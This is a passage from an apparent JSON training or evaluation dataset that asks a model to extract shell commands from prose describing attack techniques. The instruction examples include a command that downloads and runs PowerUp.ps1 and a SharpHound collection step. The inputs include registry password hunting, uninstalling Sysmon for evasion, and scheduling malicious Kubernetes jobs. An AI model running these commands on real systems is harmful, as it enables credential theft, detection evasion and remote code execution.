block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For enumerating credentials within the Registry, execute these commands to reveal keys with 'password' in their values:\nreg query HKLM /f password /t REG_SZ /s\nreg query HKCU /f password /t REG_SZ /s\n",
    "output": "{\"command_list\": [\"reg query HKLM /f password /t REG_SZ /s\\nreg query HKCU /f password /t REG_SZ /s\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For file encryption via openssl, execute the following: openssl enc #{encryption_option} -in #{input_file_path} -out #{output_file_name}\n",
    "output": "{\"command_list\": [\"openssl enc #{encryption_option} -in #{input_file_path} -out #{output_file_name}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    DiskCryptor, an open source encryption tool, can be abused by attackers to encrypt disk partitions. Its documentation is available at https://github.com/DavidXanatos/DiskCryptor. The encryption process begins when you execute this command: \"%PROGRAMFILES%\\dcrypt\"\\#{dcrypt_exe}\". Be aware that the installation requires a system reboot.",
    "output": "{\"command_list\": [\"\\\"\\\"%PROGRAMFILES%\\\\dcrypt\\\"\\\\#{dcrypt_exe}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The Sysinternals Sysmon tool can be uninstalled for defense evasion with the command: sysmon -u",
    "output": "{\"command_list\": [\"sysmon -u\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Attackers can schedule malicious container execution in a Kubernetes cluster by running this command: kubectl create -f src/cronjob.yaml -n #{namespace}",
    "output": "{\"command_list\": [\"kubectl create -f src/cronjob.yaml -n #{namespace}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The compressed executable can be executed, resulting in calculator.exe opening, via the command: \"PathToAtomicsFolder\\..\\ExternalPayloads\\temp_T1027.zip\\T1027.exe\"\n",
    "output": "{\"command_list\": [\"\\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\temp_T1027.zip\\\\T1027.exe\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Files can be compressed with Python's zipfile by executing this command:\nwhich_python=`which python || which python3`\n$which_python -c \"from zipfile import ZipFile; ZipFile('#{path_to_output_file}', mode='w').write('#{path_to_input_file}')\"",
    "output": "{\"command_list\": [\"which_python=`which python || which python3`\\n$which_python -c \\\"from zipfile import ZipFile; ZipFile('#{path_to_output_file}', mode='w').write('#{path_to_input_file}')\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For compiling a C file across FreeBSD, Linux, or macOS systems, use either of these commands: g++ #{input_file} && ./a.out\nclang++ #{input_file} && ./a.out\n",
    "output": "{\"command_list\": [\"g++ #{input_file} && ./a.out\\nclang++ #{input_file} && ./a.out\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": 